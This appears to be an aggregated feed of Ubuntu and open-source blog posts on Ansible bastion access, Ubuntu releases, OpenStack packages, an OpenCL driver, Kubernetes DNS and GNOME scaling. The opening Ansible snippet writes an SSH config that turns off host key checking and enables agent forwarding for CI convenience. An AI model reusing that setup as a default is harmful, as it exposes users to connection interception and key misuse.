Then we begin working with our yml file. As I’m running this on a container, I need to create the .ssh directory and the config file. Here it’s important to add StrictHostKeyChecking=no If we don’t do this, this will fail in our CI, as we can’t hit enter. If you don’t included it and run it locally, it will work.
---
- name: Creates ssh directory
  file:
    path: ~/.ssh/
    state: directory


- name: Create ssh config file in local computer
  copy:
    dest: ~/.ssh/config
    content: |
       Host 10.*.*.*
       User ubuntu
       IdentityFile XXXXX.pem
       StrictHostKeyChecking=no
       ProxyCommand ssh -q -W %h:%p {{ lookup('env', 'IP') }}
       Host {{ lookup('env', 'IP') }}
       User ubuntu
       StrictHostKeyChecking=no
       IdentityFile XXXXX.pem
       ForwardAgent yes
And finally we test it running the ping command.
---
- name: test connection
  ping:
In case you need the code : https://github.com/DiegoTc/bastionansible
]]> Diego Turcios Ubuntu 18.04.3 LTS is out, including GNOME stable updates and Livepatch desktop integration https://blogs.gnome.org/seb128/2019/08/08/ubuntu-18-04-3-lts-is-out-and-includes-gnome-bugfix-updates-and-livepatch-desktop-integration/ https://blogs.gnome.org/seb128/2019/08/08/ubuntu-18-04-3-lts-is-out-and-includes-gnome-bugfix-updates-and-livepatch-desktop-integration/ Thu, 08 Aug 2019 19:32:31 GMT Ubuntu 18.04.3 LTS has just been released. As usual with LTS point releases, the main changes are a refreshed hardware enablement stack (newer versions of the kernel, xorg & drivers) and a number of bug and security fixes.

For the Desktop, newer stable versions of GNOME components have been included as well as a new feature: Livepatch desktop integration.

For those who aren’t familiar, Livepatch is a service which applies critical kernel patches without rebooting. The service is available as part of an Ubuntu Advantage subscriptions but also made available for free to Ubuntu users (up to 3 machines).  Fixes are downloaded and applied to your machine automatically to help reduce downtime and keep your Ubuntu LTS systems secure and compliant.  Livepatch is available for your servers and your desktops.

Andrea Azzarone worked on desktop integration for the service and his work finally landed in the 18.04 LTS.

To enabling Livepatch you just need an Ubuntu One account. The set up is part of the first login or can be done later from the corresponding software-properties tab.

Here is a simple walkthrough showing the steps and the result:

The wizard displayed during the first login includes a Livepatch step will help you get signed in to Ubuntu One and enable Livepatch:

Clicking the ‘Set Up’ button invites you to enter you Ubuntu One information (or to create an account) and that’s all that is needed.

The new desktop integration includes an indicator showing the current status and notifications telling when fixes have been applied.

You can also get more details on the corresponding CVEs from the Livepatch configuration UI

You can always hide the indicator using the toggle if you prefer to keep your top panel clean and simple.

Enjoy the increased security in between reboots!

 

 

 

]]> Sebastien Bacher Open source in 2019, Part 3/3 https://ttx.re/open-source-2019-part3.html https://ttx.re/open-source-2019-part3.html Mon, 15 Jul 2019 13:52:00 GMT 21 years in, the landscape around open source evolved a lot. In part 1 and part 2 of this 3-part series, I explained why today, while open source is more necessary than ever, it appears to no longer be sufficient. In this part, I'll discuss what we, open source enthusiasts and advocates, can do about that.

This is not a call to change open source

First, let me clarify what we should not do.

As mentioned in part 2, since open source was coined in 1998, software companies have evolved ways to retain control while producing open source software, and in that process stripped users of some of the traditional benefits associated with F/OSS. But those companies were still abiding to the terms of the open source licenses, giving users a clear base set of freedoms and rights.

Over the past year, a number of those companies have decided that they wanted even more control, in particular control of any revenue associated with the open source software. They proposed new licenses, removing established freedoms and rights in order to be able to assert that level of control. The open source definition defines those minimal freedoms and rights that any open source software should have, so the Open Source Initiative (OSI), as steadfast guardians of that definition, rightfully resisted those attempts.

Those companies quickly switched to attacking OSI's legitimacy, pitching "Open Source" more as a broad category than a clear set of freedoms and rights. And they created new licenses, with deceptive naming ("community", "commons", "public"...) in an effort to blur the lines and retain some of the open source definition aura for their now-proprietary software.

The solution is not in redefining open source, or claiming it's no longer relevant. Open source is not a business model, or a constantly evolving way to produce software. It is a base set of user freedoms and rights expressed in the license the software is published under. Like all standards, its value resides in its permanence.

Yes, I'm of the opinion that today, "open source" is not enough. Yes, we need to go beyond open source. But in order to do that, we need to base that additional layer on a solid foundation: the open source definition.

That makes the work of the OSI more important than ever. Open source used to be attacked from the outside, proprietary software companies claiming open source software was inferior or dangerous. Those were clear attacks that were relatively easy to resist: it was mostly education and advocacy, and ultimately the quality of open source software could be used to prove our point. Now it's attacked from the inside, by companies traditionally producing open source software, claiming that it should change to better fit their business models. We need to go back to the basics and explain why those rights and freedoms matter, and why blurring the lines ultimately weakens everyone. We need a strong OSI to lead that new fight, because it is far from over.

A taxonomy of open source production models

As I argued in previous parts, how open source is built ultimately impacts the benefits users get. A lot of us know that, and we all came up with our own vocabulary to describe those various ways open source is produced today.

Even within a given model (say open collaboration between equals on a level playing field), we use different sets of principles: the OpenStack Foundation has the 4 Opens (open source, open development, open design, open community), the Eclipse Foundation has the Open Source Rules of Engagement (open, transparent, meritocracy), the Apache Foundation has the Apache Way... We all advocate for our own variant, focusing on differences rather than what we have in common: the key benefits those variants all enable.

This abundance of slightly-different vocabulary makes it difficult to rally around and communicate efficiently. If we have no clear way to differentiate good all-benefits-included open source from twisted some-benefits-withheld open source, the confusion (where all open source is considered equal) benefits the twisted production models. I think it is time for us to regroup, and converge around a clear, common classification of open source production models.

We need to classify those models based on which benefits they guarantee to the users of the produced software. Open-core does not guarantee availability, single-vendor does not provide sustainability nor does it allow to efficiently engage and influence the direction of the software, while open-collaboration gives you all three.

Once we have this classification, we'll need to heavily communicate around it, with a single voice. As long as we use slightly different terms (or mean slightly different things when using common terms), we maintain confusion which ultimately benefits the most restrictive models.

Get together

Beyond that, I think we need to talk more. Open source conferences used to be all about education and advocacy: what is this weird way of producing software, and why you should probably be interested in it. Once open source became ubiquitous, those style of horizontal open source conferences became less relevant, and were soon replaced by more vertical conferences around a specific stack or a specific use case.

This is a good evolution: this is what winning looks like. The issue is: the future of open source is not discussed anymore. We rest on our laurels, while the world continually evolves and adapts. Some open source conference islands may still exist, with high-level keynotes still raising the issues, but those are generally one-way conversations.

To do this important work of converging vocabulary and defining common standards on how open source is produced, Twitter won't cut it. To bootstrap the effort we'll need to meet, get around a table and take the time to discuss specific issues together. Ideally that would be done around some other event(s) to avoid extra travel.

And we need to do that soon. This work is becoming urgent. "Open source" as a standard has lots of value because of all the user benefits traditionally associated with free and open source software. That created an aura that all open source software still benefits from today. But that aura is weakening over time, thanks to twisted production models. How much more single-vendor open source can we afford until "open source" no longer means you can engage with the community and influence the direction of the software ?

So here is my call to action, which concludes this series.

In 2019, open source is more important than ever. Open source has not "won", this is a continuous effort, and we are today at a critical junction. I think open source advocates and enthusiasts need to get together, defining clear, standard terminology on how open source software is built, and start communicate heavily around it with a single voice. And beyond that, we need to create forums where those questions on the future of open source are discussed. Because whatever battles you win today, the world does not stop evolving and adapting.

Obviously I don't have all the answers. And there are lots of interesting questions. It's just time we have a place to ask those questions and discuss the answers. If you are interested and want to get involved, feel free to contact me.

]]> Thierry Carrez Canonical’s Desktop Team is hiring https://blogs.gnome.org/laney/2019/07/02/canonicals-desktop-team-is-hiring/ https://blogs.gnome.org/laney/2019/07/02/canonicals-desktop-team-is-hiring/ Tue, 02 Jul 2019 10:43:12 GMT Join the desktop team

 

edit: this post is fairly old now, and we’re well on the way with the rest of the process – if you didn’t apply yet, it’s probably worth waiting until next time

Some good news for anyone who might read this. In the Canonical desktop team we’re hiring a new Software Engineer.

More details in the job description, but if you’re looking for an opportunity that lets you:

  • work remotely
  • work on GNOME and related desktop technologies (both upstream and downstream!)
  • help to ship a solid Ubuntu every 6 months
  • work with smart people
  • have the opportunity to travel to, and present at, conferences and internal events

then please apply. You do not need to already be a GNOME or a Ubuntu/Debian expert to apply for this position – you’ll be given a mentor and plenty of time and support to learn the ropes.

Please feel free to contact me on IRC (Laney on all the best networks) / email (iain.lane@canonical.com) / Telegram (@lan3y) if you’re considering an application and you’d like to chat about it.

]]> Iain Lane OpenStack Stein for Ubuntu 18.04 LTS https://javacruft.wordpress.com/2019/04/17/openstack-stein-for-ubuntu-18-04-lts/ https://javacruft.wordpress.com/2019/04/17/openstack-stein-for-ubuntu-18-04-lts/ Wed, 17 Apr 2019 10:50:17 GMT The Ubuntu OpenStack team at Canonical is pleased to announce the general availability of OpenStack Stein on Ubuntu 18.04 LTS via the Ubuntu Cloud Archive. Details of the Stein release can be found here.

You can enable the Ubuntu Cloud Archive pocket for OpenStack Stein on Ubuntu 18.04 LTS installations by running the following commands:

    sudo add-apt-repository cloud-archive:stein
    sudo apt update

The Ubuntu Cloud Archive for Stein includes updates for:

aodh, barbican, ceilometer, ceph (13.2.4), cinder, designate, designate-dashboard, glance, gnocchi, heat, heat-dashboard, horizon, ironic, keystone, magnum, manila, manila-ui, mistral, murano, murano-dashboard, networking-bagpipe, networking-bgpvpn, networking-hyperv, networking-l2gw, networking-odl, networking-ovn, networking-sfc, neutron, neutron-dynamic-routing, neutron-fwaas, neutron-lbaas, neutron-lbaas-dashboard, neutron-vpnaas, nova, nova-lxd, octavia, openstack-trove, openvswitch (2.11.0), panko, sahara, sahara-dashboard, senlin, swift, trove-dashboard, vmware-nsx, watcher, and zaqar.

For a full list of packages and versions please refer to the Stein UCA version report.

Python 3

The majority of OpenStack packages now run under Python 3 only; notable exceptions include Swift.  Python 2 packages are no longer provided for the majority of projects.

Branch package builds

If you would like to try out the latest updates to branches, we deliver continuously integrated packages on each upstream commit-ish via the following PPA’s:

    sudo add-apt-repository ppa:openstack-ubuntu-testing/rocky
    sudo add-apt-repository ppa:openstack-ubuntu-testing/stein

Reporting bugs

If you have any issues please report bugs using the ‘ubuntu-bug’ tool to ensure that bugs get logged in the right place in Launchpad:

sudo ubuntu-bug nova-conductor

Thanks to everyone who has contributed to OpenStack Stein, both upstream and downstream. Special thanks to the Puppet OpenStack modules team and the OpenStack Charms team for their continued early testing of the Ubuntu Cloud Archive, as well as the Ubuntu and Debian OpenStack teams for all of their contributions.

Have fun and see you all for Train!

Cheers

James

(on behalf of the Ubuntu OpenStack team)

]]> James Page Intel NEO OpenCL driver for Disco https://tjaalton.wordpress.com/2019/04/09/intel-neo-opencl-driver-for-disco/ https://tjaalton.wordpress.com/2019/04/09/intel-neo-opencl-driver-for-disco/ Tue, 09 Apr 2019 16:11:30 GMT The past few months I’ve been packaging the bits needed for Intel’s new OpenCL driver, which they call NEO. The packages are now finally ready, you can enable ‘ppa:canonical-x/x-staging’ and install ‘intel-opencl’ on Disco. After installing it this is what ‘clinfo’ says on my laptop:

Number of platforms                               1
  Platform Name                                   Intel(R) OpenCL HD Graphics
  Platform Vendor                                 Intel(R) Corporation
  Platform Version                                OpenCL 2.1 
  Platform Profile                                FULL_PROFILE
  Platform Extensions                             cl_khr_3d_image_writes cl_khr_byte_addressable_store
    cl_khr_fp16 cl_khr_depth_images cl_khr_global_int32_base_atomics cl_khr_global_int32_extended_atomics
    cl_khr_icd cl_khr_image2d_from_buffer cl_khr_local_int32_base_atomics cl_khr_local_int32_extended_atomics
    cl_intel_subgroups cl_intel_required_subgroup_size cl_intel_subgroups_short cl_khr_spir
    cl_intel_accelerator cl_intel_media_block_io cl_intel_driver_diagnostics cl_intel_device_side_avc_motion_estimation
    cl_khr_priority_hints cl_khr_throttle_hints cl_khr_create_command_queue cl_khr_fp64 cl_khr_subgroups
    cl_khr_il_program cl_intel_spirv_device_side_avc_motion_estimation cl_intel_spirv_media_block_io
    cl_intel_spirv_subgroups cl_khr_spirv_no_integer_wrap_decoration cl_khr_mipmap_image cl_khr_mipmap_image_writes
    cl_intel_planar_yuv cl_intel_packed_yuv cl_intel_motion_estimation cl_intel_advanced_motion_estimation
    cl_intel_va_api_media_sharing 
  Platform Host timer resolution                  1ns
  Platform Extensions function suffix             INTEL

  Platform Name                                   Intel(R) OpenCL HD Graphics
Number of devices                                 1
  Device Name                                     Intel(R) Gen9 HD Graphics NEO
  Device Vendor                                   Intel(R) Corporation
  Device Vendor ID                                0x8086
  Device Version                                  OpenCL 2.1 NEO 
  Driver Version                                  1.0.0
  Device OpenCL C Version                         OpenCL C 2.0 
  Device Type                                     GPU
  Device Profile                                  FULL_PROFILE
  Device Available                                Yes
  Compiler Available                              Yes
  Linker Available                                Yes
  Max compute units                               24
  Max clock frequency                             1100MHz
  Device Partition                                (core)
    Max number of sub-devices                     0
    Supported partition types                     None
    Supported affinity domains                    (n/a)
  Max work item dimensions                        3
  Max work item sizes                             256x256x256
  Max work group size                             256
  Preferred work group size multiple              32
  Max sub-groups per work group                   32
  Sub-group sizes (Intel)                         8, 16, 32
  Preferred / native vector sizes                 
    char                                                16 / 16      
    short                                                8 / 8       
    int                                                  4 / 4       
    long                                                 1 / 1       
    half                                                 8 / 8        (cl_khr_fp16)
    float                                                1 / 1       
    double                                               1 / 1        (cl_khr_fp64)
  Half-precision Floating-point support           (cl_khr_fp16)
    Denormals                                     Yes
    Infinity and NANs                             Yes
    Round to nearest                              Yes
    Round to zero                                 Yes
    Round to infinity                             Yes
    IEEE754-2008 fused multiply-add               Yes
    Support is emulated in software               No
  Single-precision Floating-point support         (core)
    Denormals                                     Yes
    Infinity and NANs                             Yes
    Round to nearest                              Yes
    Round to zero                                 Yes
    Round to infinity                             Yes
    IEEE754-2008 fused multiply-add               Yes
    Support is emulated in software               No
    Correctly-rounded divide and sqrt operations  Yes
  Double-precision Floating-point support         (cl_khr_fp64)
    Denormals                                     Yes
    Infinity and NANs                             Yes
    Round to nearest                              Yes
    Round to zero                                 Yes
    Round to infinity                             Yes
    IEEE754-2008 fused multiply-add               Yes
    Support is emulated in software               No
  Address bits                                    64, Little-Endian
  Global memory size                              13253832704 (12.34GiB)
  Error Correction support                        No
  Max memory allocation                           4294959104 (4GiB)
  Unified memory for Host and Device              Yes
  Shared Virtual Memory (SVM) capabilities        (core)
    Coarse-grained buffer sharing                 Yes
    Fine-grained buffer sharing                   No
    Fine-grained system sharing                   No
    Atomics                                       No
  Minimum alignment for any data type             128 bytes
  Alignment of base address                       1024 bits (128 bytes)
  Preferred alignment for atomics                 
    SVM                                           64 bytes
    Global                                        64 bytes
    Local                                         64 bytes
  Max size for global variable                    65536 (64KiB)
  Preferred total size of global vars             4294959104 (4GiB)
  Global Memory cache type                        Read/Write
  Global Memory cache size                        524288 (512KiB)
  Global Memory cache line size                   64 bytes
  Image support                                   Yes
    Max number of samplers per kernel             16
    Max size for 1D images from buffer            268434944 pixels
    Max 1D or 2D image array size                 2048 images
    Base address alignment for 2D image buffers   4 bytes
    Pitch alignment for 2D image buffers          4 pixels
    Max 2D image size                             16384x16384 pixels
    Max planar YUV image size                     16384x16352 pixels
    Max 3D image size                             16384x16384x2048 pixels
    Max number of read image args                 128
    Max number of write image args                128
    Max number of read/write image args           128
  Max number of pipe args                         16
  Max active pipe reservations                    1
  Max pipe packet size                            1024
  Local memory type                               Local
  Local memory size                               65536 (64KiB)
  Max number of constant args                     8
  Max constant buffer size                        4294959104 (4GiB)
  Max size of kernel argument                     1024
  Queue properties (on host)                      
    Out-of-order execution                        Yes
    Profiling                                     Yes
  Queue properties (on device)                    
    Out-of-order execution                        Yes
    Profiling                                     Yes
    Preferred size                                131072 (128KiB)
    Max size                                      67108864 (64MiB)
  Max queues on device                            1
  Max events on device                            1024
  Prefer user sync for interop                    Yes
  Profiling timer resolution                      83ns
  Execution capabilities                          
    Run OpenCL kernels                            Yes
    Run native kernels                            No
    Sub-group independent forward progress        Yes
    IL version                                    SPIR-V_1.0 
    SPIR versions                                 1.2 
  printf() buffer size                            4194304 (4MiB)
  Built-in kernels                                block_motion_estimate_intel;block_advanced_motion_estimate_check_intel;block_advanced_motion_estimate_bidirectional_check_intel;
  Motion Estimation accelerator version (Intel)   2
    Device-side AVC Motion Estimation version     1
      Supports texture sampler use                Yes
      Supports preemption                         No
  Device Extensions                               cl_khr_3d_image_writes cl_khr_byte_addressable_store cl_khr_fp16 cl_khr_depth_images cl_khr_global_int32_base_atomics cl_khr_global_int32_extended_atomics cl_khr_icd cl_khr_image2d_from_buffer cl_khr_local_int32_base_atomics cl_khr_local_int32_extended_atomics cl_intel_subgroups cl_intel_required_subgroup_size cl_intel_subgroups_short cl_khr_spir cl_intel_accelerator cl_intel_media_block_io cl_intel_driver_diagnostics cl_intel_device_side_avc_motion_estimation cl_khr_priority_hints cl_khr_throttle_hints cl_khr_create_command_queue cl_khr_fp64 cl_khr_subgroups cl_khr_il_program cl_intel_spirv_device_side_avc_motion_estimation cl_intel_spirv_media_block_io cl_intel_spirv_subgroups cl_khr_spirv_no_integer_wrap_decoration cl_khr_mipmap_image cl_khr_mipmap_image_writes cl_intel_planar_yuv cl_intel_packed_yuv cl_intel_motion_estimation cl_intel_advanced_motion_estimation cl_intel_va_api_media_sharing 

NULL platform behavior
  clGetPlatformInfo(NULL, CL_PLATFORM_NAME, ...)  Intel(R) OpenCL HD Graphics
  clGetDeviceIDs(NULL, CL_DEVICE_TYPE_ALL, ...)   Success [INTEL]
  clCreateContext(NULL, ...) [default]            Success [INTEL]
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_DEFAULT)  Success (1)
    Platform Name                                 Intel(R) OpenCL HD Graphics
    Device Name                                   Intel(R) Gen9 HD Graphics NEO
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_CPU)  No devices found in platform
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_GPU)  Success (1)
    Platform Name                                 Intel(R) OpenCL HD Graphics
    Device Name                                   Intel(R) Gen9 HD Graphics NEO
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_ACCELERATOR)  No devices found in platform
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_CUSTOM)  No devices found in platform
  clCreateContextFromType(NULL, CL_DEVICE_TYPE_ALL)  Success (1)
    Platform Name                                 Intel(R) OpenCL HD Graphics
    Device Name                                   Intel(R) Gen9 HD Graphics NEO
  ICD loader properties
  ICD loader Name                                 OpenCL ICD Loader
  ICD loader Vendor                               OCL Icd free software
  ICD loader Version                              2.2.11
  ICD loader Profile                              OpenCL 2.1

I’ll check with Intel if some of the ‘no devices found’ are to be expected or not..

It’s still possible these might end up in the 19.04 release, we’ll see. They’re also uploaded to Debian, though with the Buster release keeping everyone busy I’m sure it’ll take some time to get them all through the NEW queue.

NOTE: if you already have the stack installed from Intel’s github repo, please uninstall it first. Otherwise there will be file conflicts since the package names won’t match.

]]> Timo Aaltonen Setting Up a Domain with SSL on DigitalOcean Kubernetes using ExternalDNS and Helm //blog.andrewsomething.com/2019/04/04/external-dns-with-ssl-on-k8s/ //blog.andrewsomething.com/2019/04/04/external-dns-with-ssl-on-k8s/ Thu, 04 Apr 2019 04:00:00 GMT A little while back I added support for DigitalOcean to the ExternalDNS Helm chart, and I wanted to share my notes on how to use it. ExternalDNS is an extremely convenient tool that allows you to dynamically control DNS records for your Kubernetes resources just by adding an annotation. In this post, I’ll walk through how to install it with Helm and use it to point a domain at a Kubernetes service. I’ll also cover setting up SSL using a DigitalOcean managed SSL certificate on the load balancer.

First, a few assumptions:

Installing ExternalDNS with Helm

With all of that in place, the first thing to do is install ExternalDNS into the cluster. You will need to generate a DigitalOcean API token for it to use. It’s best to create a token specifically for this service rather than using one you may have in your local environment. Then run the following command replacing $DO_API_TOKEN with the token you generated:

helm install --name external-dns \
  --set digitalocean.apiToken=$DO_API_TOKEN,provider=digitalocean,rbac.create=true \
  stable/external-dns

You can verify that it has been successfully installed by running:

$ kubectl get pods -l "app=external-dns"

When ready, the output should look something like this:

NAME                           READY     STATUS    RESTARTS   AGE
external-dns-68bfc948b-jhhrq   1/1       Running   0          34s

Generating a DigitalOcean Managed SSL Certificate

Next, use doctl to generate an SSL certificate managed by DigitalOcean making use of their Let’s Encrypt integration. Giving it a name and replacing example.com with your domain, run:

doctl compute certificate create  --name k8s-cert \
  --type lets_encrypt --dns-names example.com

The output will include an ID that looks something like 9r3e053d-da5e-4390-b7b8-0fs23486e41q. You’ll need that in the next step.

Deploying the Kubernetes Service

Now you are ready to deploy your service to the Kubernetes cluster. For this example we are using an NGINX container for the deployment, but that could be any application running in your cluster. The important part for this exercise is the LoadBalancer Service. Here is the full example:

kind: Service
apiVersion: v1
metadata:
  name: https-with-cert
  annotations:
    external-dns.alpha.kubernetes.io/hostname: "example.com"
    service.beta.kubernetes.io/do-loadbalancer-redirect-http-to-https: "true"
    service.beta.kubernetes.io/do-loadbalancer-certificate-id: "9r3e053d-da5e-4390-b7b8-0fs23486e41q"
spec:
  type: LoadBalancer
  selector:
    app: nginx-example
  ports:
    - name: https
      protocol: TCP
      port: 443
      targetPort: 80

---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: nginx-example
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: nginx-example
    spec:
      containers:
      - name: nginx
        image: nginx
        ports:
        - containerPort: 80
          protocol: TCP

Let’s look a little closer at the annotations section:

  annotations:
    external-dns.alpha.kubernetes.io/hostname: "example.com"
    service.beta.kubernetes.io/do-loadbalancer-redirect-http-to-https: "true"
    service.beta.kubernetes.io/do-loadbalancer-certificate-id: "9r3e053d-da5e-4390-b7b8-0fs23486e41q"

Kubernetes annotations are just metadata attached to a Kubernetes object. They can be used for anything from specifying a maintainer for the service to a git commit hash or other release information. They can also be used to pass on information to controllers. In our case, both the DigitalOcean Cloud Controller Manager and the ExternalDNS controller are watching for services created with these annotations. Breaking down each one:

  • external-dns.alpha.kubernetes.io/hostname - Specifies the domain name to be assigned to the service
  • service.beta.kubernetes.io/do-loadbalancer-certificate-id - Specifies the ID of the DigitalOcean managed SSL cert
  • service.beta.kubernetes.io/do-loadbalancer-redirect-http-to-https - Configures the load balancer to automatically redirect clients from HTTP to HTTPS

After replacing the domain and certificate ID in the full example and saving it to a file, apply the configuration with:

kubectl apply -f path/to/https-with-domain.yaml

Now let’s take a quick look at the logs for ExternalDNS by running:

kubectl logs \
  `kubectl get pod -l app=external-dns -o jsonpath="{.items[0].metadata.name}"`

When the record has been successfully configured, you will see two lines like:

time="2019-04-04T01:19:11Z" level=info msg="Changing record." action=CREATE record=example.com ttl=300 type=A zone=example.com
time="2019-04-04T01:19:12Z" level=info msg="Changing record." action=CREATE record=example.com ttl=300 type=TXT zone=example.com

You might be wondering why it created two records. ExternalDNS uses TXT records to mark records that it manages. It will not modify any records without a corresponding TXT record.

Wrapping It Up

With our service successfully deployed, it will now be available at the configured domain with SSL. If we redeploy the service latter, the DNS record will persist even if the underlying IP address were to change. If you’re looking for more detail, here’s some further reading for you:

]]> Andrew SB Resource Scale for Fractional Scaling support in GNOME Shell 3.32 https://blog.3v1n0.net/informatica/linux/gnome-shell-fractional-scaling-in-wayland-landed/ https://blog.3v1n0.net/informatica/linux/gnome-shell-fractional-scaling-in-wayland-landed/ Mon, 04 Mar 2019 15:17:55 GMT Fractional Scaling TestThe fractional scaling era for GNOME shell has finally arrived!

The news spread out quite quickly, once last Friday Jonas pressed the button and that triggered the last-second merge for the relevant proposals we prepared for Mutter and GNOME Shell in order to get this available for GNOME 3.32.

As someone might recall, we started this work some years ago (ouch!) and lead to an Hackfest in Taipei, but in between other work to do and priorities which caused this to be delayed a bit. While the first iteration was ready for some time now. But at every review we improved things fixing bugs (like missing scaled widgets) and optimizing some code paths, so hopefully this time helped in serving better quality :).

We’ve still quite a lot of work to do (see these issues for mutter and shell) and some fixes that we have in queue already, but the main task is there. So starting from now the shell will paint all its elements properly and in good visual quality at any fractional scaled value, and independently for every monitor.

Multi-monitor fractional scaling

Monitors with different scaling values, and a window drawn in between the two

As you might have noticed in the screenshot above, the X11 apps are still not really scaled in quality, while it’s not possible for them all (like xterm there), we need to work for a solution that will cover the legacy applications which does support scaling, and at the same time those which doesn’t want to be scaled at all (games!).

As per what said above, this feature is still considered experimental and then you need to enable it via:

gsettings set org.gnome.mutter experimental-features "['scale-monitor-framebuffer']"

Doing this will allow you to set more a wider set of scaling values under Control Center, display panel.

For what concerns Extensions, most of them should work with no change, but not those using directly the St.TextureCache, as we changed the methods signature by adding a resource_scale parameter.
We discussed weather adding another method instead (as gir doesn’t support default values), but since 3.32 will need anyway a rewrite of most extensions anyways, and since it’s better to have them to behave properly with resource scale since the beginning (instead of blurred contents), we decided not to do it.
So, please sync with this change (and sorry :)).

Putting my Ubuntu hat now, this won’t change much things for default ubuntu experience, since it’s still using X11 (although I’ve something in the works for this too), but people who want to take advantage of this can easily just login using the Ubuntu on Wayland session, enable the experimental setting and profit.

As final world, thanks to people who helped having this in by reviewing and testing the code.

]]> Marco Trevisan (Treviño) Rise and fall of libclamav https://skitterman.wordpress.com/2019/01/31/rise-and-fall-of-libclamav/ https://skitterman.wordpress.com/2019/01/31/rise-and-fall-of-libclamav/ Thu, 31 Jan 2019 06:36:03 GMT Because I was bored and needed to procrastinate, I decided to look at the history of packages using libclamav over the last several releases. This is binary reverse-depends in main on i386:

Release

libclamav soname

rdepends

Sarge

libclamav1

2

Etch

libclamav2

9

Lenny

libclamav5

5

Squeeze

libclamav6

3

Wheezy

libclamav7

3

Jessie

libclamav7

4

Stretch

libclamav7

4

Buster

libclamav7

4

I started working on clamav around Etch (in Ubuntu, so it’s not an exact match) and transitions were a blast back then. Every single soname bump needed significant sourceful changes. It killed quite a number of projects. Of the four we still have in Debian (dansguardian, havp, icap, and python-clamav) only the icap modules aren’t essentially dead upstream.

I guess API stability counts for something if you want people to use your library.

P.S. None of the people working on clamav today are the same as when we had 3 soname bumps in one release cycle.

 

]]> Scott Kitterman So I created a subreddit for interesting G+ refugees. Emphasis on interesting. https://blogs.gnome.org/mneptok/2019/01/28/so-i-created-a-subreddit-for-interesting-g-refugees-emphasis-on-interesting/ https://blogs.gnome.org/mneptok/2019/01/28/so-i-created-a-subreddit-for-interesting-g-refugees-emphasis-on-interesting/ Mon, 28 Jan 2019 20:48:02 GMT So I created a subreddit for interesting G+ refugees. Emphasis on interesting.

Come and play. Be suave. Don’t be a dick.

Edward Morbius

Kee Hinckley

Rugger Ducky

Sarah Lester

Ward A

Tim S

Matthew H

Yoko F Thunders

Dave Thompson

Grumpy Cat

catty _big

Dan Ramos

Di Cleverly

and the many more I know I’ve forgotten because I need an fud. And invite your friends!

https://reddit.com/r/ploos

]]> Kurt von Finck Announcing the Ubuntu 18.10 Free Culture Showcase winners https://www.nhaines.com/blog/2018/09/28/announcing-ubuntu-18.10-free-culture-showcase-winners/ https://www.nhaines.com/blog/2018/09/28/announcing-ubuntu-18.10-free-culture-showcase-winners/ Fri, 28 Sep 2018 07:00:00 GMT October approaches, and Ubuntu marches steadly along the road from one LTS to another. Ubuntu 18.10 is another step in Ubuntu’s future. And now it’s time to unveil a small part of that change: the community wallpapers to be included in Ubuntu 18.10!

Every cycle, talented artists around the world create media and release it under licenses that encourage sharing and adaptation. This cycle we had some amazing images submitted to the Ubuntu 18.10 Free Culture Showcase photo pool on Flickr, where all eligible submissions can be found. The competition was fierce; narrowing down the options to the final selections was painful!

But there can be only 12, and the final images that will be included in Ubuntu 18.10 are:

A big congratulations to the winners, and thanks to everyone who submitted a wallpaper. You can find these wallpapers (along with dozens of other stunning wallpapers) today at the links above, or in your desktop wallpaper list after you upgrade to or install Ubuntu 18.10 on October 18th.

]]> Nathan Haines NVIDIA PRIME in Ubuntu 18.04 and 18.10, and a call for testing https://albertomilone.com/blog/nvidia-prime-in-ubuntu-18-04-and-18-10-and-a-call-for-testing/ https://albertomilone.com/blog/nvidia-prime-in-ubuntu-18-04-and-18-10-and-a-call-for-testing/ Thu, 20 Sep 2018 09:19:48 GMT Ubuntu 18.04 marked the transition to a new, more granular, packaging of the NVIDIA drivers, which, unfortunately, combined with a change in logind, and with the previous migration from Lightdm to Gdm3, caused (Intel+NVIDIA) hybrid laptops to stop working the way they used to in Ubuntu 16.xx and older.

The following are the main issues experienced by our users:

  • An increase in power consumption when using the power saving profile (i.e. when the discrete GPU is off).
  • The inability to switch between power profiles on log out (thus requiring a reboot).

We have backported a commit to solve the problem with logind, and I have worked on a few changes in gpu-manager, and in the other key components, to improve the experience when using Gdm3.

NOTE: fixes for Lightdm, and for SDDM still need some work, and will be made available in the next update.

Both issues should be fixed in Ubuntu 18.10, and I have backported my work to Ubuntu 18.04, which is now available for testing.

If you run Ubuntu 18.04, own a hybrid laptop with an Intel and an NVIDIA GPU (supported by the 390 NVIDIA driver),  we would love to get your feedback on the updates in Ubuntu 18.04.

If you are interested, head over to the bug report, follow the instructions at the end of the bug description, and let us know about your experience.

]]> Alberto Milone Help needed to improve proposed migration http://blog.cyphermox.net/2018/09/help-needed-to-improve-proposed.html http://blog.cyphermox.net/2018/09/help-needed-to-improve-proposed.html Thu, 20 Sep 2018 07:35:00 GMT
Every once in a while, in the Foundations team, we do a coding day. A year ago, Lukasz and I wrote a script, following an idea from Steve Langasek, to provide "hints" and help for the next steps necessary for a package to migrate from -proposed to -release.

"ubuntu-archive-assistant" was born. I just pushed this to lp:ubuntu-dev-tools, after it being on its own in a separate git tree for a long while. I'd love to get help for feedback, as well as more people contributing fixes, etc. ubuntu-archive-assistant is designed to let you look at a specific package in -proposed and try to tell you what to do next to ensure it migrates from -proposed.

This is great work for new contributors wishing to work on something, say, to get upload privileges in Ubuntu.

Here's how it works (it uses subcommands right now).

Without any further options than "ubuntu-archive-assistant proposed", it will list packages in -proposed and let you pick:
$ ./ubuntu-archive-assistant proposed
No source package name was provided. The following packages are blocked in proposed:

(1) gnome-shell-extension-multi-monitors (Age: 338 days)
(2) node-is-glob (Age: 278 days)
(3) node-concat-with-sourcemaps (Age: 264 days)
(4) node-postcss (Age: 231 days)
(5) node-source-map (Age: 229 days)
(6) android-platform-system-core (Age: 226 days)
(7) libdigidocpp (Age: 226 days)
(8) qesteidutil (Age: 225 days)
(9) schleuder (Age: 218 days)
(10) ncbi-blast+ (Age: 216 days)
(11) node-postcss-filter-plugins (Age: 213 days)
(12) node-postcss-load-options (Age: 213 days)
(13) node-postcss-load-plugins (Age: 213 days)
(14) node-postcss-minify-font-values (Age: 213 days)
(15) node-postcss-load-config (Age: 209 days)
(16) live-config (Age: 207 days)
